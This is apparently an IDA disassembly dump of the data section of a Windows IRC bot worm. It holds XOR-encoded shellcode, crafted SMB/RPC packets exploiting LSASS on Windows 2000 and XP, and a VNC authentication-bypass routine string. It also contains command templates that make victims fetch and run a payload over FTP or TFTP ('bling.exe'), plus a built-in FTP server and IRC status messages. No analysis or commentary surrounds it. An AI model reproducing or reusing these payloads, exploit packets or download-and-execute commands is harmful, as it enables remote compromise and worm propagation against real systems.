dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
asc_432940: ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
unicode 0, <\\>,0
align 4
off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant+8
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .text:0040E235o
; .text:0040E99Eo ...
align 10h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:0040DF8Do
align 10h
dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h
dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h
dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h
dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; char aI_1[]
aI_1 db 'ë' ; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
db 10h, 5Ah, 4Ah
dd 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh, 70FFFFFFh
dd 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h, 0D9123485h
dd 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h, 8DD71262h
dd 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h, 0C6C091EDh
dd 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh, 589A7848h
dd 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh, 125A9A99h
dd 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh, 0CB945F1Ah
dd 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h
dd 669BF398h, 411275CEh, 999B9E5Eh
dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .text:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_0 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_0 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_0 db ' LM 0.12',0
align 4
dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040E8F9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_3: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
; char aTftpISGetS[]
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
dword_433408 dd 6EB06EBh, 0 ; DATA XREF: sub_40E3F1+177o
; char aSIpc[]
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40E3F1+27o
align 4
dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
; char aCmdCEchoOpen_0[]
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .text:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040ECB2o
align 4
word_4346DC dw 1 ; DATA XREF: .text:0040EC29r
; sub_41B55B+24r ...
align 10h
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EF1C+130o
; sub_41A1B1+21o
; char aEchoOpenSDOE_0[]
aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F108+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F3AA+5B9o
align 4
; char dword_434798
dword_434798 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
; DATA XREF: sub_40F3AA+568o
; sub_412197+3ACo
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F3AA+4F7o
align 4
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_40F3AA+4DFo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo
align 4
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F3AA+4BEo
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F3AA+48Bo
align 10h
; char aS_1[]
aS_1 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o
db ']',0
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_40F3AA+40Eo
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o
align 4
; char aList_0[]
aList_0 db 'LIST',0 ; DATA XREF: sub_40F3AA+3CDo
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F3AA+395o
align 4
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_40F3AA+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o
; char aI_0[]
aI_0: ; DATA XREF: sub_40F3AA+35Eo
; .data:004387E8o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo
; char aA_0[]
aA_0: ; DATA XREF: sub_40F3AA+327o
; .data:004387F4o
unicode 0, <A>,0
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_40F3AA:loc_40F6B3o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo
align 4
; char off_43492C[]
off_43492C dd offset dword_445750 ; DATA XREF: sub_40F3AA+2EAo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo
align 4
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_40F3AA+2C9o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo
align 4
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_40F3AA+2A8o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo
align 4
; char aPass[]
aPass db 'PASS',0 ; DATA XREF: sub_40F3AA+287o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o
align 4
; char aUser_1[]
aUser_1 db 'USER',0 ; DATA XREF: sub_40F3AA+262o
align 4
; char aSS_3[]
aSS_3 db '%s %s',0 ; DATA XREF: sub_40F3AA+251o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o
align 4
; char asc_4349C4[]
asc_4349C4 db '-' ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
; char asc_4349EC[]
asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 10h
; char aGet_0[]
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 4
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
; char asc_434C0C[]
asc_434C0C db '-' ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
; char asc_434C44[]
asc_434C44 db '-' ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
; char asc_434C78[]
asc_434C78 db '*',0 ; DATA XREF: sub_4100B4+15Ao
align 4
aS_9 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 10h
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
; char aPrivmsgS31s2_0[]
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
; char aSS_4[]
aSS_4 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 4
; char aS_2[]
aS_2 db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 10h
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm_0 db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 4
; char a__[]
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
; char aTrTdColspan3AH[]
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
; char aSearchingForS[]
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
; char aTrTdWidthDCode[]
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
; char asc_435120[]
asc_435120 db '-' ; DATA XREF: sub_410BFD+171o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerFailed_0 db '- server failed, returned %d',0
align 4
; char aUseridUnixS[]
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o
; char asc_435164[]
asc_435164 db '-' ; DATA XREF: sub_410BFD+BBo
db 3, 34h, 2
dd 6E656469h, 3026474h
aClientConnecti db '- client connection from %s:%d.',0
; char asc_435190[]
